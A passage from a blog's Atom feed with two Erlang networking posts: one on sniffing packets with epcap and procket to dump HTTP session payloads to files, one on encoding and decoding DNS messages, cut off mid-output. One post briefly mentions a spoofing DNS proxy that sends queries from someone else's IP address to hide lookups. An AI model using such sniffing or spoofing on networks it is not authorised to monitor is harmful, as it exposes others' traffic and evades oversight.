rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-1497798031506964142</id><published>2010-08-31T21:16:00.003-04:00</published><updated>2010-09-01T16:25:24.040-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fun with raw sockets'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><category scheme='http://www.blogger.com/atom/ns#' term='epcap'/><title type='text'>Dumping Payloads with epcap and procket</title><content type='html'>&lt;a href="http://github.com/msantos/epcap"&gt;epcap&lt;/a&gt; and &lt;a href="http://github.com/msantos/procket"&gt;procket&lt;/a&gt; allow Erlang code to sniff data off of a network. With either, once the packets are in the Erlang VM, manipulating the contents is straight forward using pattern matching.&lt;br /&gt;&lt;h1&gt;Which to use?&lt;/h1&gt;epcap and procket sort of overlap in functionality. The main differences, at the moment, are:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;portability&lt;br /&gt;&lt;br /&gt;epcap: should work on any Unix with pcap installed&lt;br /&gt;&lt;br /&gt;procket: for sniffing, procket uses Linux's PF_PACKET socket option, so Linux only.  I plan to add support for BPF someday, so maybe in the future procket will support BSD as well.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;safety&lt;br /&gt;&lt;br /&gt;epcap: runs as a separate system process. Any bugs in epcap will not affect the Erlang VM.&lt;br /&gt;&lt;br /&gt;procket: linked into the Erlang VM using the NIF interface. Bugs may stall or crash the VM.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;packet generation&lt;br /&gt;&lt;br /&gt;epcap: can only sniff packets&lt;br /&gt;&lt;br /&gt;procket: can generate whole packets. Again, currently Linux only, but should work under BSD's, like Mac OS X, when BPF is supported.&lt;br /&gt;&lt;br /&gt;Raw sockets (for example, &lt;a href="http://blog.listincomprehension.com/2010/05/icmp-ping-in-erlang.html"&gt;generating ICMP echo packets&lt;/a&gt;) work under BSD as well.&lt;br /&gt;&lt;br /&gt;In fact, it should be possible to combine the power of procket, epcap, and BSD to send and receive arbitrary TCP or UDP packets now (since TCP/UDP raw sockets can send data only, we need to use epcap to sniff the response).&lt;br /&gt;&lt;br /&gt;&lt;li&gt;filtering&lt;br /&gt;&lt;br /&gt;epcap: packet filtering rules are processed in C, either in the kernel or in a library.&lt;br /&gt;&lt;br /&gt;procket: all packets are received and must be filtered by an Erlang process&lt;br /&gt;&lt;/ul&gt;&lt;h1&gt;Decapsulating Packets&lt;/h1&gt;procket and epcap have different ways of being started and reading packets but once the raw packets are received by an Erlang process, they can be decapsulated with a small module ("epcap_net.erl") distributed with epcap.  Say, for example, we wanted to monitor http requests and write out a file containing just the client side:  &lt;script src="http://gist.github.com/559806.js?file=pdump.erl"&gt;&lt;/script&gt;  We request a raw socket from procket and then loop, polling the socket every 10ms for data. We look for established connections by matching packets with only the ACK bit set (we ignore connections in progress) and spawn another process to accumulate the data.   When we see a packet indicating a connection has been closed, we tell the spawned process to write out its state to a file. The spawned process will also terminate if it reaches an arbitrary timeout.   You've probably noticed that this code mimics some of the functionality of OTP behaviours. I wrote it this way for simplicity, but it certainly could be more compactly (and elegantly) written as a gen_server or a gen_fsm.   &lt;h1&gt;Matching on Payloads&lt;/h1&gt;A similar example with epcap: match on all http requests and write the complete transaction to a file based on the etag.  &lt;script src="http://gist.github.com/559809.js?file=dumpetag.erl"&gt;&lt;/script&gt;  epcap doesn't require polling as with procket. Instead, messages are received from the port similar to gen_tcp in &lt;em&gt;{active, true}&lt;/em&gt; mode.  The message contains some additional information about the length and time of the captured packet. For this example, we ignore it. We're only interested in the packet contents.&lt;br /&gt;&lt;br /&gt;Similar to the procket example, we loop, blocking in receive. When data is received, we check if the connection is in the established state, spawning a process to accumulate the data if we haven't seen this session before.&lt;br /&gt;&lt;br /&gt;Finally, we write out the data to the file system when the connection is closed, using the value of the "ETag" header for the file name.  For succintness, I used a regular expression to match on the payload. Probably better to write a parser.&lt;br /&gt;&lt;br /&gt;Thanks, Zabrane, for suggesting this post!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-1497798031506964142?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/1497798031506964142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2010/08/dumping-payloads-with-epcap-and-procket.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1497798031506964142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/1497798031506964142'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2010/08/dumping-payloads-with-epcap-and-procket.html' title='Dumping Payloads with epcap and procket'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-7050324516211530741</id><published>2010-07-04T21:25:00.010-04:00</published><updated>2010-11-06T11:15:47.399-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='sods'/><title type='text'>DNS Programming with Erlang</title><content type='html'>I have this strange fascination with DNS. By which I mean loathing. Yet somehow I've already written 3 small DNS servers in Erlang:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://github.com/msantos/emdns"&gt;emdns&lt;/a&gt;: An unfinished multicast DNS server with unspecified yet no doubt awesome features. Someday I'll finish it. Maybe.&lt;br /&gt;&lt;li&gt; &lt;a href="http://blog.listincomprehension.com/2010/06/fun-with-raw-sockets-in-erlang-spoofing.html"&gt;spood&lt;/a&gt;: A strange, little program; a spoofing DNS proxy that will send out your DNS requests from somebody else's IP address and sniff the responses. Maybe (if you're somewhat sketchy) you could use it to hide your DNS lookups. Maybe, you could use it to ramp up your DNS requests on networks that throttle them down. Not that I would do any of that.&lt;br /&gt;&lt;li&gt;&lt;a href="http://github.com/msantos/seds"&gt;seds&lt;/a&gt;: a DNS server that tunnels TCP/IP. I'm typing this blog over a DNS tunnel right now, stress testing it (with my blazing fast ASCII input) and trying to make seds crash. Also stress testing my patience.&lt;br /&gt;&lt;/ul&gt;Since the programmatic interfaces to DNS in Erlang are mostly undocumented, I thought I'd go over them briefly. So I'll remember how to use them if I ever finish emdns. I figured out how they worked mainly by reading the source and dumping DNS packets to see the record structures.  The DNS parsing functions are kept in &lt;em&gt;lib/kernel/src/inet_dns.erl&lt;/em&gt;. Pretty much the only functions that you will need from this module are encode/1 and decode/1. The tricky part is passing in the appropriate data structures. &lt;ul&gt;&lt;li&gt;&lt;em&gt;decode/1&lt;/em&gt; takes a binary and returns a #dns_rec{} record or {error, fmt} if the DNS payload cannot be decoded&lt;br /&gt;&lt;li&gt;&lt;em&gt;encode/1&lt;/em&gt; as you might expect, does the inverse, taking an appropriate record and returning a binary&lt;br /&gt;&lt;/ul&gt;The record structure is defined in &lt;em&gt;lib/kernel/src/inet_dns.hrl&lt;/em&gt;. &lt;pre class="Code"&gt;&lt;span class="Type"&gt;-record&lt;/span&gt;(dns_rec,&lt;br /&gt;    {&lt;br /&gt;        header,       &lt;span class="Comment"&gt;%% dns_header record&lt;/span&gt;&lt;br /&gt;        qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; [],  &lt;span class="Comment"&gt;%% list of question entries&lt;/span&gt;&lt;br /&gt;        anlist &lt;span class="Statement"&gt;=&lt;/span&gt; [],  &lt;span class="Comment"&gt;%% list of answer entries&lt;/span&gt;&lt;br /&gt;        nslist &lt;span class="Statement"&gt;=&lt;/span&gt; [],  &lt;span class="Comment"&gt;%% list of authority entries&lt;/span&gt;&lt;br /&gt;        arlist &lt;span class="Statement"&gt;=&lt;/span&gt; []   &lt;span class="Comment"&gt;%% list of resource entries&lt;/span&gt;&lt;br /&gt;    })&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;The DNS header is another record:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;-record&lt;/span&gt;(dns_header,&lt;br /&gt;    {&lt;br /&gt;     id &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% ushort query identification number&lt;/span&gt;&lt;br /&gt;     &lt;span class="Comment"&gt;%% byte F0&lt;/span&gt;&lt;br /&gt;     qr &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   response flag&lt;/span&gt;&lt;br /&gt;     opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,   &lt;span class="Comment"&gt;%% :4   purpose of message&lt;/span&gt;&lt;br /&gt;     aa &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   authoritive answer&lt;/span&gt;&lt;br /&gt;     tc &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   truncated message&lt;/span&gt;&lt;br /&gt;     rd &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   recursion desired&lt;/span&gt;&lt;br /&gt;     &lt;span class="Comment"&gt;%% byte F1&lt;/span&gt;&lt;br /&gt;     ra &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   recursion available&lt;/span&gt;&lt;br /&gt;     pr &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,       &lt;span class="Comment"&gt;%% :1   primary server required (non standard)&lt;/span&gt;&lt;br /&gt;                   &lt;span class="Comment"&gt;%% :2   unused bits&lt;/span&gt;&lt;br /&gt;     rcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;     &lt;span class="Comment"&gt;%% :4   response code&lt;/span&gt;&lt;br /&gt;    })&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;While the defaults are initialized to small integers, inet_dns replaces them with atoms. So, the 1 bit values are either the atoms 'true' or 'false' and the opcode is set to an atom, for example, 'query'.  Both integers and the atom representations are usually accepted by the functions though.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;qdlist is a list of DNS query records:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;-record&lt;/span&gt;(dns_query,&lt;br /&gt;    {&lt;br /&gt;     domain,     &lt;span class="Comment"&gt;%% query domain&lt;/span&gt;&lt;br /&gt;     type,        &lt;span class="Comment"&gt;%% query type&lt;/span&gt;&lt;br /&gt;     class      &lt;span class="Comment"&gt;%% query class&lt;/span&gt;&lt;br /&gt;     })&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;domain&lt;/em&gt; is a string representing the domain name, e.g., "foo.bar.example.com"&lt;br /&gt;&lt;li&gt;&lt;em&gt;type&lt;/em&gt; is an atom describing the DNS type: a, cname, txt, null, srv, ns, ...&lt;br /&gt;&lt;li&gt;&lt;em&gt;class&lt;/em&gt; will most commonly be 'in' (Internet), though multicast DNS uses "cache flush" (32769) for some operations&lt;br /&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;Making a valid Erlang DNS query would look something like:&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="Type"&gt;-module&lt;/span&gt;(dns)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span class="Type"&gt;-compile&lt;/span&gt;(export_all)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Type"&gt;-include_lib&lt;/span&gt;(&lt;span class="Constant"&gt;&amp;quot;kernel/src/inet_dns.hrl&amp;quot;&lt;/span&gt;)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;q(Domain, NS) &lt;span class="Statement"&gt;-&amp;gt;&lt;/span&gt;&lt;br /&gt;    Query &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;inet_dns:encode&lt;/span&gt;(&lt;br /&gt;        #dns_rec{&lt;br /&gt;            header &lt;span class="Statement"&gt;=&lt;/span&gt; #dns_header{&lt;br /&gt;                id &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;crypto:rand_uniform&lt;/span&gt;(&lt;span class="Constant"&gt;1&lt;/span&gt;,&lt;span class="Constant"&gt;16&lt;/span&gt;#&lt;span class="Constant"&gt;FFFF&lt;/span&gt;),&lt;br /&gt;                opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Type"&gt;'query'&lt;/span&gt;,&lt;br /&gt;                rd &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;true&lt;/span&gt;&lt;br /&gt;            },&lt;br /&gt;            qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; [#dns_query{&lt;br /&gt;                domain &lt;span class="Statement"&gt;=&lt;/span&gt; Domain,&lt;br /&gt;                type &lt;span class="Statement"&gt;=&lt;/span&gt; a,&lt;br /&gt;                class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;in&lt;/span&gt;&lt;br /&gt;            }]&lt;br /&gt;        }),&lt;br /&gt;    {ok, Socket} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:open&lt;/span&gt;(&lt;span class="Constant"&gt;0&lt;/span&gt;, [&lt;span class="Identifier"&gt;binary&lt;/span&gt;, {active, &lt;span class="Statement"&gt;false&lt;/span&gt;}]),&lt;br /&gt;    &lt;span class="Identifier"&gt;gen_udp:send&lt;/span&gt;(Socket, NS, &lt;span class="Constant"&gt;53&lt;/span&gt;, Query),&lt;br /&gt;    {ok, {NS, &lt;span class="Constant"&gt;53&lt;/span&gt;, Reply}} &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Identifier"&gt;gen_udp:recv&lt;/span&gt;(Socket, &lt;span class="Constant"&gt;65535&lt;/span&gt;),&lt;br /&gt;    &lt;span class="Identifier"&gt;inet_dns:decode&lt;/span&gt;(Reply)&lt;span class="Special"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;I enabled recursion because the request will be going through the one of the public Google nameservers (8.8.8.8) instead of going directly through the authoritative nameserver.&lt;br /&gt;&lt;br /&gt;Testing the results:&lt;br /&gt;&lt;pre class="Code"&gt;$ erl&lt;br /&gt;Erlang R14A &lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;erts&lt;/span&gt;&lt;span class="Constant"&gt;-5&lt;/span&gt;&lt;span class="Special"&gt;.&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;source&lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;smp:&lt;span class="Constant"&gt;2&lt;/span&gt;:&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;rq:&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;async-threads:&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;hipe&lt;span class="Statement"&gt;]&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;kernel-poll:false&lt;span class="Statement"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Eshell V5.&lt;span class="Constant"&gt;8&lt;/span&gt;  &lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Special"&gt;abort with ^G&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;1&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;ok, Q&lt;span class="Special"&gt;}&lt;/span&gt; &lt;span class="Statement"&gt;=&lt;/span&gt; dns:q&lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Special"&gt;, {&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Special"&gt;,&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Special"&gt;,&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Special"&gt;,&lt;/span&gt;&lt;span class="Constant"&gt;8&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt;.&lt;br /&gt;&lt;span class="Special"&gt;{&lt;/span&gt;ok,&lt;span class="Special"&gt;{&lt;/span&gt;dns_rec,&lt;span class="Special"&gt;{&lt;/span&gt;dns_header,&lt;span class="Constant"&gt;7296&lt;/span&gt;,true,&lt;span class="Statement"&gt;'&lt;/span&gt;&lt;span class="Constant"&gt;query&lt;/span&gt;&lt;span class="Statement"&gt;'&lt;/span&gt;,false,false,&lt;br /&gt;                         true,true,false,&lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;             &lt;span class="Statement"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;dns_query,&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,a,in&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt;,&lt;br /&gt;             &lt;span class="Statement"&gt;[&lt;/span&gt;&lt;span class="Special"&gt;{&lt;/span&gt;dns_rr,&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,a,in,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                      &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,                      undefined,&lt;span class="Statement"&gt;[]&lt;/span&gt;,false&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;              &lt;span class="Special"&gt;{&lt;/span&gt;dns_rr,&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,a,in,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                      &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;34&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                      undefined,&lt;span class="Statement"&gt;[]&lt;/span&gt;,false&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;              &lt;span class="Special"&gt;{&lt;/span&gt;dns_rr,&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,a,in,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                      &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;36&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                      undefined,&lt;span class="Statement"&gt;[]&lt;/span&gt;,false&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;              &lt;span class="Special"&gt;{&lt;/span&gt;dns_rr,&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,a,in,&lt;span class="Constant"&gt;0&lt;/span&gt;,&lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                      &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;38&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                      undefined,&lt;span class="Statement"&gt;[]&lt;/span&gt;,false&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt;,&lt;br /&gt;             &lt;span class="Statement"&gt;[]&lt;/span&gt;,&lt;span class="Statement"&gt;[]&lt;/span&gt;&lt;span class="Special"&gt;}}&lt;br /&gt;&lt;/span&gt;&lt;span class="Constant"&gt;2&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; rr&lt;span class="PreProc"&gt;(&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;/usr/local/lib/erlang/lib/kernel-2.14/src/inet_dns.hrl&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="PreProc"&gt;)&lt;/span&gt;.&lt;br /&gt;&lt;span class="Statement"&gt;[&lt;/span&gt;dns_header,dns_query,dns_rec,dns_rr,dns_rr_opt&lt;span class="Statement"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span class="Constant"&gt;3&lt;/span&gt;&lt;span class="Statement"&gt;&amp;gt;&lt;/span&gt; Q.&lt;br /&gt;#dns_rec&lt;span class="Special"&gt;{&lt;/span&gt;header &lt;span class="Statement"&gt;=&lt;/span&gt; #dns_header&lt;span class="Special"&gt;{&lt;/span&gt;id &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;7296&lt;/span&gt;,qr &lt;span class="Statement"&gt;=&lt;/span&gt; true,&lt;br /&gt;                              opcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;'&lt;/span&gt;&lt;span class="Constant"&gt;query&lt;/span&gt;&lt;span class="Statement"&gt;'&lt;/span&gt;,aa &lt;span class="Statement"&gt;=&lt;/span&gt; false,tc &lt;span class="Statement"&gt;=&lt;/span&gt; false,rd &lt;span class="Statement"&gt;=&lt;/span&gt; true,ra &lt;span class="Statement"&gt;=&lt;/span&gt; true,&lt;br /&gt;                              pr &lt;span class="Statement"&gt;=&lt;/span&gt; false,rcode &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;         qdlist &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;#dns_query&lt;span class="Special"&gt;{&lt;/span&gt;domain &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;                              type &lt;span class="Statement"&gt;=&lt;/span&gt; a,class &lt;span class="Statement"&gt;=&lt;/span&gt; in&lt;span class="Special"&gt;}&lt;/span&gt;&lt;span class="Statement"&gt;]&lt;/span&gt;,&lt;br /&gt;         anlist &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[&lt;/span&gt;#dns_rr&lt;span class="Special"&gt;{&lt;/span&gt;domain &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;&lt;span class="Constant"&gt;listincomprehension.com&lt;/span&gt;&lt;span class="Statement"&gt;&amp;quot;&lt;/span&gt;,&lt;br /&gt;                           type &lt;span class="Statement"&gt;=&lt;/span&gt; a,class &lt;span class="Statement"&gt;=&lt;/span&gt; in,cnt &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,ttl &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                           data &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;32&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                           tm &lt;span class="Statement"&gt;=&lt;/span&gt; undefined,bm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;,func &lt;span class="Statement"&gt;=&lt;/span&gt; false&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                   &lt;span class="Comment"&gt;#dns_rr{domain = &amp;quot;listincomprehension.com&amp;quot;,type = a,&lt;/span&gt;&lt;br /&gt;                           class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;in&lt;/span&gt;,cnt &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,ttl &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                           data &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;34&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                           tm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;undefined&lt;/span&gt;,bm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;,func &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;false&lt;/span&gt;},&lt;br /&gt;                   &lt;span class="Comment"&gt;#dns_rr{domain = &amp;quot;listincomprehension.com&amp;quot;,type = a,&lt;/span&gt;&lt;br /&gt;                           class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;in&lt;/span&gt;,cnt &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,ttl &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                           data &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span class="Constant"&gt;216&lt;/span&gt;,&lt;span class="Constant"&gt;239&lt;/span&gt;,&lt;span class="Constant"&gt;36&lt;/span&gt;,&lt;span class="Constant"&gt;21&lt;/span&gt;&lt;span class="Special"&gt;}&lt;/span&gt;,&lt;br /&gt;                           tm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;undefined&lt;/span&gt;,bm &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Statement"&gt;[]&lt;/span&gt;,func &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;false&lt;/span&gt;},&lt;br /&gt;                   &lt;span class="Comment"&gt;#dns_rr{domain = &amp;quot;listincomprehension.com&amp;quot;,type = a,&lt;/span&gt;&lt;br /&gt;                           class &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;in&lt;/span&gt;,cnt &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;0&lt;/span&gt;,ttl &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Constant"&gt;656&lt;/span&gt;,&lt;br /&gt;                           data &lt;span class="Statement"&gt;=&lt;/span&gt; &lt;span class="Special"&gt;{&lt;/span&gt;&lt;span 